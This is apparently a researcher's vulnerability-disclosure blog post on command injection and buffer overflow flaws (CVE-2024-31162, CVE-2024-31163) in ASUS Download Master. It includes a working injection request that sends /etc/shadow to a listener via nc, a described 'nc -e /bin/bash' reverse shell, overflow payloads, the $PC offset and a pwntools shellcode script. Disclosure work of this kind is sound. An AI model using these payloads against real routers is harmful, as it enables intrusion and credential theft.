Download Master, pt 2

Alright so here are the fun ones: command injections and buffer overflows.

Command Injections - CVE-2024-31162

URL Path parameters are not sanitized prior to their inclusion within system() calls, resulting in the ability for authenticated users to perform command injection attacks.

The following action_mode values lead to unsafe system calls via the listed parameters:

DM_ED2K_ADD

  • ED2K_SERVER_IP and ED2K_SERVER_PORT

DM_ED2K_REM

  • ED2K_SERVER_IP and ED2K_SERVER_PORT

DM_ED2K_CON

  • ED2K_SERVER_IP and ED2K_SERVER_PORT

DM_LANG

  • DM_language

Request:

GET http://192.168.1.2:8081/downloadmaster/dm_apply.cgi?action_mode=DM_LANG&DM_language=%60nc+192.168.1.4+8080+%3c+%2fetc%2fshadow%60 HTTP/1.1
Host: 192.168.1.2:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Cookie: AuthByPasswd=asus_app_token:451f786bbe82b2356071dcee9386daa1

Response:

HTTP/1.1 200 OK
ContentType: text/html
Cache-Control: private,max-age=0;
Date: Fri, 28 Jul 2023 00:02:22 GMT
Server: lighttpd/1.4.39
Content-Length: 10

ACK_SUCESS

Listener:

➜  ~ sudo nc -lvp 8080
listening on [any] 8080 ...
192.168.1.2: inverse host lookup failed: Unknown host
connect to [192.168.1.4] from (UNKNOWN) [192.168.1.2] 42977
admin:$5$T[...].E5:0:0:99999:7:0:0:
nas:*:0:0:99999:7:0:0:
nobody:*:0:0:99999:7:0:0:

Screenshot:

alt text

Vulnerable Code Example:

Pretty straight forward.

else {
    iVar2 = strcmp(var_action_mode,"DM_LANG");
    if (iVar2 == 0) {
    local_c4 = (undefined *)FUN_0001c498("DM_language");
    if (local_c4 == (undefined *)0x0) {
        local_c4 = &DAT_0002520c;
    }
    memset(&local_13b0,0,0x100);
    memset(acStack_17b0,0,0x100);
    sprintf(acStack_17b0,
            "sed -i \'19s/^.*$/LANGUAGE=%s/\' /opt/etc/dm2_general.conf",local_c4);
    system(acStack_17b0);
    system("cp -rf /opt/etc/dm2_general.conf /tmp/APPS/DM2/Config/dm2_general.conf")
    ;
    memset(acStack_17b0,0,0x100);
    sprintf(acStack_17b0,
            "sed -i \'19s/^.*$/LANGUAGE=%s/\' /opt/etc/dm2_general_bak.conf",
            local_c4);
    system(acStack_17b0);
    system(
            "cp -rf /opt/etc/dm2_general_bak.conf /tmp/APPS/DM2/Config/dm2_general_bak .conf"
            );
    sprintf((char *)&local_13b0,"nvram set gen_lang=%s",local_c4);
    system((char *)&local_13b0);
    system("nvram commit");
    printf("ACK_SUCESS");
    }

alt text

Pulling the shadow file is fun, sure. But getting a shell is way cooler. Fortunately for me, the device had ipkg. Soooo, I just used it to install netcat, then used netcat to connect back lmao. The app might say it’s unsupported in the response, but it defo got installed >:D

Request:

alt text

Set up a listener and send a classic nc -e /bin/bash

Request:

alt text

Listener:

alt text

gottem

Buffer Overflows - CVE-2024-31163

This one was much more involved than the other bugs and required a lot more effort. I’ve opted to just include my raw notes, rather than a polished post-mortem. As such, some shit I wrote at the time is just wrong, but it’s psuedo stream-of-consciousness note taking, so that’s how it works.

TLDR;

Unsafe usage of strcpy via the dm_ctrl and task_id parameters leads to buffer overflows and full control of the $PC register. allowing full remote code execution agains tthe device.

GET /downloadmaster/dm_apply.cgi?action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&task_id=&download_type=OTHER HTTP/1.1
Host: 192.168.1.2:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Cookie: AuthByPasswd=asus_app_token:26b6ee548766dd93cf7729ca48e9e4e0;

Asus syslog:

alt text

Emulated:

alt text

Raw Notes

Looks like unsafe usage of strcpy via the dm_ctrl and task_id parameters

Request

GET /downloadmaster/dm_apply.cgi?action_mode=DM_CTRL&dm_ctrl=BEEEGPARAM&task_id=BEEEGPARAM&download_type=OTHER HTTP/1.1
Host: 192.168.1.2:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Cookie: AuthByPasswd=asus_app_token:451f786bbe82b2356071dcee9386daa1

Response - dm_ctrl

HTTP/1.1 200 OK
ContentType: text/html
Cache-Control: private,max-age=0;
Date: Fri, 28 Jul 2023 00:24:39 GMT
Server: lighttpd/1.4.39
Content-Length: 6

UNKNOW

Response - task_id

HTTP/1.1 500 Internal Server Error
Content-Type: text/html
Content-Length: 369
Date: Thu, 27 Jul 2023 23:46:37 GMT
Server: lighttpd/1.4.39

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>500 - Internal Server Error</title>
</head>
<body>
<h1>500 - Internal Server Error</h1>
</body>
</html>

bad strcpy

else {
iVar2 = strcmp(var_action_mode,"DM_CTRL");
if (iVar2 == 0) {
system("killall dm2_detect&");
system("rm -rf /tmp/APPS/DM2/Config/dm2_detect_protected");
FUN_000179e4(DAT_000393ec);
pcVar3 = (char *)FUN_0001c498("dm_ctrl"); // Here!
if (pcVar3 == (char *)0x0) {
  pcVar3 = &DAT_0002520c;
}
strcpy(acStack_920,pcVar3); // Copied to here!
iVar2 = strcmp(acStack_920,"start");
if (iVar2 == 0) {
  local_f8 = FUN_0001f858(&DAT_0003af84,&DAT_00038814,&DAT_000389dc);
  pcVar3 = (char *)FUN_0001c498("task_id"); // Here!
  if (pcVar3 == (char *)0x0) {
	pcVar3 = &DAT_0002520c;
  }
  strcpy(acStack_934,pcVar3); // Copied to here!
  local_fc = fopen("/tmp/APPS/DM2/Status/cgi_running","w");
  fclose(local_fc);

acStack_934 is only allocated 5 bytes, lol: Line 30: char acStack_934 [5];

alt text

dm_ctrl with lots of A’s alt text

GET /downloadmaster/dm_apply.cgi?action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&task_id=&download_type=OTHER HTTP/1.1
Host: 192.168.1.2:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Cookie: AuthByPasswd=asus_app_token:26b6ee548766dd93cf7729ca48e9e4e0;

alt text

OK debugging it via GDB is practically impossible, ugh, 19inferiors before dm_apply.cgi gets launched. Emulate!

After copying over the libraries, it’s pretty easy to emulate it with qemu-arm-static. The CGI reads in the request parameters via the QUERY_STRING environment var, so it’s easy to pass in arguments. A little tinkering and we had a crash :)

tester@asuserlin-ubuntu20:~/download_manager/asusware.arm$ sudo chroot . ./qemu-arm-static -strace -E QUERY_STRING='action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB&task_id=&download_type=OTHER' etc/downloadmaster/downloadmaster/dm_apply.cgi

alt text

As seen in the above, I found $PC at offset 2332:

➜  ~ msf-pattern_offset -q 7a43377b
/var/lib/gems/2.5.0/gems/bundler-1.17.3/lib/bundler/rubygems_integration.rb:200: warning: constant Gem::ConfigMap is deprecated
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 2332 (adjusted [ little-endian: 1 | big-endian: 783361 ] ) byte offset 0

Looking at the stack, there’s a ton of space available for shellcode:

pwndbg> x/64xw $sp-256
0xfffee260:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee270:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee280:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee290:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee2f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee300:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee310:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee320:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee330:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee340:     0x41414141      0x41414141      0x41414141      0x41414141
0xfffee350:     0x41414141      0x41414141      0x41414141      0x42424242

printf "\x60\xe2\xfe\xff" instead of BBBB

Then, debugging with -g 1234 and adding a breakpoint on 0xFFFEE260

alt text

Tada!

tester@asuserlin-ubuntu20:~/download_manager/asusware.arm$ sudo chroot . ./qemu-arm-static -g 1234 -E QUERY_STRING="action_mode=DM_CTRL&dm_ctrl=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`printf "\x60\xe2\xfe\xff"`&task_id=&download_type=OTHER" etc/downloadmaster/downloadmaster/dm_apply.cgi
ContentType:text/html
Cache-Control:private,max-age=0;

/proc/uptime: No such file or directory
UNKNOW

And there’s the UNKNOW response I saw initially, cool to see it full circle. We can’t unknow this, though. >:))

Anyway, now we’ve moved execution to a section of the buffer we sent, 256 bytes before $PC

#!/usr/bin/env python3
from pwn import *

context.update(arch='arm', os='linux')
shellcode = asm(shellcraft.echo('hello'))
avoid = b'\x00"'
encoded = pwnlib.encoders.arm.xor.encode(shellcode, avoid)
assert not any(c in encoded for c in avoid)

junk = b"A"*(2332-len(encoded))
sc = junk + encoded
print("Shellcode:")
print(sc)
print(hexdump(sc))

alt text

After fighting with printf for a bit and having the formatted characters break the command, I did a quick test to see when the URL encoding coding was being decoded– if it’s being decoded before it reaches the vulnerable code then it should be possible to just send URL encoded payloads:

Sending ("%41" * 2332) + BBBB

Aug  3 07:31:49 kernel: CPU: 0 PID: 11539 Comm: dm_apply.cgi Tainted: P           O    4.1.51 #4
Aug  3 07:31:49 kernel: Hardware name: Broadcom-v8A (DT)
Aug  3 07:31:49 kernel: task: ffffffc03e9314c0 ti: ffffffc028624000 task.ti: ffffffc028624000
Aug  3 07:31:49 kernel: PC is at 0x42424242
Aug  3 07:31:49 kernel: LR is at 0xf7017764
Aug  3 07:31:49 kernel: pc : [<0000000042424242>] lr : [<00000000f7017764>] pstate: 20000010
Aug  3 07:31:49 kernel: sp : 00000000ffe2b170
Aug  3 07:31:49 kernel: x12: 0000000000000000 
Aug  3 07:31:49 kernel: x11: 0000000041414141 x10: 00000000f709ff6c 
Aug  3 07:31:49 kernel: x9 : 0000000000000000 x8 : 0000000000000000 
Aug  3 07:31:49 kernel: x7 : 0000000000000000 x6 : 00000000000114a8 
Aug  3 07:31:49 kernel: x5 : 00000000f70882e0 x4 : 0000000041414141 
Aug  3 07:31:49 kernel: x3 : 0000000000000000 x2 : 0000000000000041 
Aug  3 07:31:49 kernel: x1 : 00000000f7086864 x0 : 0000000000000000 

Perfect! No need to even mess with encoding, just gotta avoid a few bad chars like 00.

SC problems

